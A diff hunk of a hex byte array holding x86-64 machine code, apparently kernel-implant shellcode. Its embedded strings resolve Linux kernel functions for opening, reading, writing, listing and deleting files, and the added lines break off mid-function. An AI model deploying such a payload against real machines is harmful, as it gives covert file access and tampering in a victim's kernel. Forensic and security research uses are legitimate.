- 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x4b, 0x89, 0x04, 0x2c, 0x4d, 0x85, 0xed, 0x75, 0xe2,
- 0x48, 0x33, 0xc0, 0x48, 0xff, 0xc0, 0xeb, 0x03, 0x48, 0x33, 0xc0, 0x41, 0x5c, 0x41, 0x5d, 0x41,
- 0x5e, 0x41, 0x5f, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49,
- 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24,
- 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0,
- 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x48, 0x89, 0x0d, 0xf1, 0xff, 0xff, 0xff, 0xc3, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4,
- 0xf0, 0x41, 0x51, 0x41, 0x50, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc9, 0x4c, 0x8b, 0xc2, 0x48,
- 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x05, 0xcc, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x49, 0x8b,
- 0xe7, 0x41, 0x5f, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0x48, 0x03,
- 0xc1, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x48,
- 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc,
- 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, 0x48, 0x8d, 0xac, 0x24, 0x30, 0xff, 0xff, 0xff,
- 0x48, 0x81, 0xec, 0xd0, 0x01, 0x00, 0x00, 0x33, 0xf6, 0xc7, 0x85, 0x00, 0x01, 0x00, 0x00, 0x6d,
- 0x65, 0x6d, 0x63, 0x48, 0x8d, 0x85, 0x00, 0x01, 0x00, 0x00, 0x66, 0xc7, 0x85, 0x04, 0x01, 0x00,
- 0x00, 0x70, 0x79, 0x48, 0x89, 0x45, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x85, 0x08, 0x01, 0x00,
- 0x00, 0x40, 0x88, 0xb5, 0x06, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x38, 0x44, 0x8d, 0x4e, 0x07,
- 0x48, 0x8d, 0x45, 0xa8, 0xc7, 0x85, 0x08, 0x01, 0x00, 0x00, 0x6d, 0x65, 0x6d, 0x73, 0x48, 0x89,
- 0x45, 0x40, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d, 0x44, 0x24, 0x68, 0x48, 0x89,
- 0x45, 0x48, 0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x44, 0x24, 0x28, 0x66, 0xc7, 0x85, 0x0c, 0x01, 0x00,
- 0x00, 0x65, 0x74, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8d, 0x55, 0x30, 0x48, 0x8d, 0x44, 0x24, 0x78,
- 0x40, 0x88, 0xb5, 0x0e, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x58, 0x48, 0x8d, 0x85, 0xf0, 0x00,
- 0x00, 0x00, 0x48, 0x89, 0x45, 0x60, 0xc7, 0x45, 0xa8, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0xac,
- 0x5f, 0x63, 0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xb0, 0x73, 0x65, 0x40, 0x88, 0x75, 0xb2, 0xc7, 0x44,
- 0x24, 0x68, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x44, 0x24, 0x6c, 0x5f, 0x6f, 0x70, 0x65, 0x66, 0xc7,
- 0x44, 0x24, 0x70, 0x6e, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24,
- 0x2c, 0x72, 0x65, 0x61, 0x64, 0x40, 0x88, 0x74, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x78, 0x76, 0x66,
- 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x7c, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, 0x45, 0x80, 0x65, 0x00,
- 0xc7, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7, 0x85, 0xf4, 0x00, 0x00,
- 0x00, 0x64, 0x00, 0xe8, 0x02, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 0x48, 0x02, 0x00, 0x00,
- 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xb8, 0xc7, 0x45, 0xb8, 0x69, 0x74, 0x65, 0x72, 0xc7,
- 0x45, 0xbc, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xc0, 0x64, 0x69, 0x72, 0x00, 0xe8, 0x22, 0xfe,
- 0xff, 0xff, 0x48, 0x89, 0x43, 0x38, 0x48, 0x8d, 0x55, 0xc8, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45,
- 0xc8, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0xcc, 0x72, 0x65, 0x61, 0x64, 0xc7, 0x45, 0xd0, 0x64,
- 0x69, 0x72, 0x00, 0xe8, 0xfc, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x40, 0x48, 0x39, 0x73, 0x38,
- 0x75, 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xed, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48,
- 0x8d, 0x54, 0x24, 0x38, 0xc7, 0x44, 0x24, 0x38, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x3c,
- 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x40, 0xe8, 0xc6, 0xfd, 0xff, 0xff, 0x48, 0x89,
- 0x43, 0x48, 0x48, 0x8d, 0x55, 0x88, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0x88, 0x76, 0x66, 0x73,
- 0x5f, 0xc7, 0x45, 0x8c, 0x73, 0x74, 0x61, 0x74, 0x66, 0xc7, 0x45, 0x90, 0x78, 0x00, 0xe8, 0xa1,
- 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x50, 0x48, 0x39, 0x73, 0x48, 0x75, 0x09, 0x48, 0x85, 0xc0,
- 0x0f, 0x84, 0x92, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0x98, 0xc7, 0x45,
- 0x98, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0x9c, 0x5f, 0x70, 0x61, 0x74, 0x66, 0xc7, 0x45, 0xa0,
- 0x68, 0x00, 0xe8, 0x6d, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x78, 0x48, 0x8d, 0x54, 0x24, 0x48,
- 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x48, 0x70, 0x61, 0x74, 0x68, 0xc7, 0x44, 0x24, 0x4c,
- 0x5f, 0x70, 0x75, 0x74, 0x40, 0x88, 0x74, 0x24, 0x50, 0xe8, 0x46, 0xfd, 0xff, 0xff, 0x48, 0x89,
- 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0x18, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0x18,
- 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x1c, 0x67, 0x65, 0x74, 0x61, 0xc7, 0x45, 0x20, 0x74, 0x74,
- 0x72, 0x5f, 0xc7, 0x45, 0x24, 0x6e, 0x6f, 0x73, 0x65, 0x66, 0xc7, 0x45, 0x28, 0x63, 0x00, 0xe8,
- 0x10, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x83, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x58,
- 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x58, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x5c,
- 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x60, 0xe8, 0xe6, 0xfc, 0xff, 0xff, 0x48, 0x89,
- 0x43, 0x58, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x20, 0x67,
- 0x65, 0x74, 0x6e, 0xc7, 0x44, 0x24, 0x24, 0x61, 0x6d, 0x65, 0x00, 0xe8, 0xc4, 0xfc, 0xff, 0xff,
- 0x48, 0x89, 0x43, 0x60, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0x08, 0x67,
- 0x65, 0x74, 0x6e, 0xc7, 0x45, 0x0c, 0x61, 0x6d, 0x65, 0x5f, 0xc7, 0x45, 0x10, 0x6b, 0x65, 0x72,
- 0x6e, 0x66, 0xc7, 0x45, 0x14, 0x65, 0x6c, 0x40, 0x88, 0x75, 0x16, 0xe8, 0x94, 0xfc, 0xff, 0xff,
- 0x48, 0x89, 0x43, 0x68, 0x48, 0x8d, 0x55, 0xd8, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xd8, 0x64,
- 0x6f, 0x5f, 0x75, 0xc7, 0x45, 0xdc, 0x6e, 0x6c, 0x69, 0x6e, 0xc7, 0x45, 0xe0, 0x6b, 0x61, 0x74,
- 0x00, 0xe8, 0x6e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x70, 0x48, 0x39, 0x73, 0x58, 0x75, 0x0b,
- 0x48, 0x39, 0x73, 0x60, 0x74, 0x62, 0x48, 0x85, 0xc0, 0x74, 0x5d, 0x48, 0x8b, 0x4f, 0x10, 0x48,
- 0x8d, 0x55, 0xe8, 0xc7, 0x45, 0xe8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0xec, 0x65, 0x6c, 0x5f,
- 0x72, 0xc7, 0x45, 0xf0, 0x65, 0x61, 0x64, 0x00, 0xe8, 0x37, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x83,
- 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xf8, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xf8, 0x6b,
- 0x65, 0x72, 0x6e, 0xc7, 0x45, 0xfc, 0x65, 0x6c, 0x5f, 0x77, 0xc7, 0x45, 0x00, 0x72, 0x69, 0x74,
- 0x65, 0x40, 0x88, 0x75, 0x04, 0xe8, 0x0a, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x83, 0x98, 0x00, 0x00,
- 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24, 0xf8, 0x01,
- 0x00, 0x00, 0x48, 0x81, 0xc4, 0xd0, 0x01, 0x00, 0x00, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,
- 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff, 0x01, 0x00, 0x00, 0x49,
- 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x8d, 0x41, 0x42, 0xe8, 0xc4, 0xfb, 0xff, 0xff,
- 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xc1, 0x76, 0x07, 0xb8,
- 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0,
- 0xe8, 0x9f, 0xfb, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc,
- 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x58, 0x48, 0x8b, 0xda, 0xb8, 0x01, 0x00,
- 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x49, 0x8d, 0x50, 0x18, 0xe8, 0x74, 0xfb, 0xff, 0xff,
- 0xeb, 0x3a, 0x48, 0x8b, 0x4a, 0x68, 0x48, 0x85, 0xc9, 0x74, 0x07, 0x48, 0x83, 0x7a, 0x70, 0x00,
- 0x75, 0x10, 0x48, 0x8b, 0x4a, 0x60, 0x48, 0x85, 0xc9, 0x74, 0x21, 0x48, 0x83, 0x7a, 0x70, 0x00,
- 0x74, 0x1a, 0x49, 0x8d, 0x50, 0x18, 0xe8, 0x49, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x70, 0x4c,
- 0x8b, 0xc0, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x38, 0xfb, 0xff, 0xff, 0x48, 0xf7, 0xd8, 0x1b,
- 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24,
- 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50,
- 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9,
- 0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0xf5, 0xfa, 0xff, 0xff, 0x48,
- 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76,
- 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x92, 0x00,
- 0x00, 0x00, 0xe8, 0x09, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x38, 0x4c, 0x8d, 0x05, 0x06, 0xfb,
- 0xff, 0xff, 0x4c, 0x89, 0x44, 0x24, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24,
- 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40, 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20,
- 0x48, 0x8b, 0xd6, 0xe8, 0x9c, 0xfa, 0xff, 0xff, 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x40, 0x48, 0x85,
- 0xc9, 0x74, 0x14, 0x4c, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x84, 0xfa, 0xff, 0xff,
- 0x48, 0x89, 0x87, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b,
- 0xd6, 0xe8, 0x6e, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x30, 0xe8, 0x65, 0xfa, 0xff, 0xff, 0x4c,
- 0x8b, 0xc5, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xf7, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48,
- 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83,
- 0xc4, 0x50, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
- 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xf9, 0x49,
- 0x63, 0xf0, 0x48, 0x8b, 0xea, 0x49, 0x8b, 0x89, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x81, 0x40,
- 0x02, 0x00, 0x00, 0x49, 0x3b, 0x81, 0x10, 0x02, 0x00, 0x00, 0x0f, 0x87, 0x8b, 0x00, 0x00, 0x00,
- 0x49, 0x8b, 0x99, 0x08, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x49, 0x03, 0x59, 0x28, 0x41, 0xb9,
- 0x40, 0x02, 0x00, 0x00, 0x48, 0x03, 0xd9, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd3, 0x48, 0x8b,
- 0x49, 0x08, 0xe8, 0xdd, 0xf9, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x58, 0xb8, 0x04, 0x00, 0x00, 0x00,
- 0x3b, 0xc8, 0x74, 0x1b, 0x8d, 0x50, 0x04, 0x3b, 0xca, 0x74, 0x0b, 0x83, 0xf9, 0x0a, 0x0f, 0x45,
- 0xc2, 0x48, 0x89, 0x03, 0xeb, 0x10, 0x48, 0xc7, 0x03, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x48,
- 0xc7, 0x03, 0x02, 0x00, 0x00, 0x00, 0x33, 0xc9, 0x85, 0xf6, 0x74, 0x20, 0x48, 0x83, 0xc3, 0x38,
- 0x48, 0x81, 0xf9, 0x03, 0x01, 0x00, 0x00, 0x73, 0x13, 0x0f, 0xb6, 0x04, 0x29, 0x48, 0xff, 0xc1,
- 0x66, 0x89, 0x03, 0x48, 0x83, 0xc3, 0x02, 0x48, 0x3b, 0xce, 0x72, 0xe4, 0x48, 0x8b, 0x47, 0x10,
- 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30,
- 0x33, 0xc0, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20,
- 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,
- 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xa8, 0x78,
- 0xf5, 0xff, 0xff, 0x48, 0x81, 0xec, 0x60, 0x0b, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x48, 0xb8, 0x8f,
- 0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x48, 0x8b, 0xfa, 0x4c, 0x8b, 0xe9, 0x48, 0xf7, 0xa1,
- 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x50, 0x41, 0x8b, 0xdc, 0x48, 0x8b, 0xf2, 0x48, 0xc1,
- 0xee, 0x09, 0x4c, 0x2b, 0xc0, 0x49, 0x8d, 0x04, 0x18, 0x8a, 0x4c, 0x05, 0x68, 0x84, 0xc9, 0x74,
- 0x10, 0x88, 0x4c, 0x1d, 0x50, 0x48, 0xff, 0xc3, 0x48, 0x81, 0xfb, 0x04, 0x01, 0x00, 0x00, 0x72,
- 0xe4, 0xc6, 0x44, 0x1d, 0x50, 0x2f, 0x4d, 0x8b, 0xf4, 0x48, 0xff, 0xc3, 0x49, 0x89, 0xb5, 0x30,
- 0x02, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x01, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x50,
- 0x49, 0x8b, 0xcc, 0x4c, 0x03, 0xc3, 0x48, 0x89, 0x8d, 0x90, 0x0a, 0x00, 0x00, 0x4d, 0x8b, 0xbd,
- 0x08, 0x02, 0x00, 0x00, 0x4c, 0x03, 0xf9, 0x49, 0x8b, 0xcc, 0x4d, 0x03, 0x7d, 0x28, 0x49, 0x8d,
- 0x57, 0x38, 0x66, 0x44, 0x3b, 0x22, 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88,
- 0x04, 0x08, 0x48, 0xff, 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4, 0x48, 0x8d,
- 0x04, 0x19, 0x48, 0x8b, 0x4f, 0x50, 0x44, 0x88, 0x64, 0x05, 0x50, 0x48, 0x85, 0xc9, 0x0f, 0x84,
- 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xb0, 0xc7, 0x44, 0x24, 0x28, 0xff, 0x07, 0x00, 0x00,
- 0x41, 0xb9, 0x00, 0x08, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x45, 0x50, 0xba,
- 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x5b, 0xf8, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x7f, 0x48, 0x8b,
- 0x4f, 0x78, 0x48, 0x85, 0xc9, 0x0f, 0x84, 0x14, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xa7, 0x88, 0x00,
- 0x00, 0x00, 0x0f, 0x84, 0x07, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x8d, 0x60, 0x02, 0x00, 0x00, 0x41,
- 0xb8, 0x00, 0x08, 0x00, 0x00, 0x48, 0x8d, 0x55, 0x50, 0xe8, 0x26, 0xf8, 0xff, 0xff, 0x48, 0x85,
- 0xc0, 0x0f, 0x85, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8f, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d,
- 0x45, 0xb0, 0x41, 0xb9, 0xff, 0x07, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0x48, 0x8d, 0x95,
- 0x60, 0x02, 0x00, 0x00, 0xe8, 0xfb, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x8f, 0x80, 0x00, 0x00, 0x00,
- 0x4c, 0x8b, 0xe0, 0x48, 0x85, 0xc9, 0x74, 0x0c, 0x48, 0x8d, 0x95, 0x60, 0x02, 0x00, 0x00, 0xe8,
- 0xe0, 0xf7, 0xff, 0xff, 0x4d, 0x85, 0xe4, 0x0f, 0x85, 0xa2, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45,
- 0xe8, 0x49, 0xb8, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x49, 0x89, 0x47, 0x30, 0x48,
- 0x8b, 0x4d, 0xf0, 0x49, 0x03, 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47,
- 0x08, 0x48, 0x8b, 0x4d, 0x10, 0x49, 0x03, 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49,
- 0x89, 0x47, 0x18, 0x48, 0x8b, 0x4d, 0x00, 0x49, 0x03, 0xc8, 0xeb, 0x58, 0x48, 0x8b, 0x4f, 0x48,
- 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x55, 0x50, 0xe8, 0x86, 0xf7, 0xff, 0xff, 0x48, 0x85,
- 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00,
- 0x00, 0x00, 0x49, 0x89, 0x47, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x03, 0xca, 0x48, 0x69,
- 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0x48, 0x03,
- 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47, 0x18, 0x48, 0x8b, 0x4c, 0x24,
- 0x68, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47, 0x10, 0x48,
- 0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x49, 0xf7, 0xe6, 0x49, 0x8b, 0xc6, 0x48,
- 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, 0x48, 0xc1, 0xe8, 0x05, 0x48, 0x6b, 0xc8, 0x32,
- 0x4c, 0x3b, 0xf1, 0x75, 0x09, 0x48, 0x8b, 0x4f, 0x30, 0xe8, 0x06, 0xf7, 0xff, 0xff, 0x48, 0x8b,
- 0x8d, 0x90, 0x0a, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x50, 0x48, 0x81, 0xc1, 0x40, 0x02, 0x00, 0x00,
- 0x4d, 0x8d, 0x04, 0x18, 0x49, 0xff, 0xc6, 0x48, 0x89, 0x8d, 0x90, 0x0a, 0x00, 0x00, 0x41, 0xbc,
- 0x00, 0x00, 0x00, 0x00, 0x4c, 0x3b, 0xf6, 0x0f, 0x82, 0x10, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c,
- 0x24, 0x60, 0x0b, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b,
- 0x48, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc,
+ 0x00, 0x00, 0x00, 0x00, 0x51, 0x48, 0xb8, 0xd5, 0xfe, 0x37, 0x13, 0x01, 0xf0, 0x0f, 0xf0, 0x50,
+ 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x43, 0x0b, 0x00,
+ 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0x58, 0x58, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54,
+ 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d, 0x8b, 0xe0,
+ 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x14, 0x2e, 0xe8, 0x22, 0x00, 0x00, 0x00,
+ 0x48, 0x85, 0xc0, 0x74, 0x11, 0x4b, 0x89, 0x04, 0x2c, 0x4d, 0x85, 0xed, 0x75, 0xe2, 0x48, 0x33,
+ 0xc0, 0x48, 0xff, 0xc0, 0xeb, 0x03, 0x48, 0x33, 0xc0, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41,
+ 0x5f, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1,
+ 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41,
+ 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b,
+ 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x51, 0x52, 0x48, 0x33, 0xc0, 0x48, 0xba, 0xd5, 0xfe, 0x37,
+ 0x13, 0x01, 0xf0, 0x0f, 0xf0, 0x48, 0x8b, 0x0c, 0xc4, 0x48, 0xff, 0xc0, 0x48, 0x3b, 0xca, 0x75,
+ 0xf4, 0x48, 0x8b, 0x04, 0xc4, 0x5a, 0x59, 0xc3, 0xe8, 0xd9, 0xff, 0xff, 0xff, 0x48, 0x05, 0x88,
+ 0x03, 0x00, 0x00, 0x48, 0x89, 0x08, 0xc3, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0,
+ 0x41, 0x51, 0x41, 0x50, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc9, 0x4c, 0x8b, 0xc2, 0x48, 0x8b,
+ 0xd6, 0x48, 0x8b, 0xcf, 0xe8, 0xad, 0xff, 0xff, 0xff, 0x48, 0x05, 0x88, 0x03, 0x00, 0x00, 0x48,
+ 0x8b, 0x00, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x88, 0xff, 0xff, 0x48, 0x03, 0xc1, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea,
+ 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x48, 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1,
+ 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, 0x48, 0x8d, 0xac, 0x24,
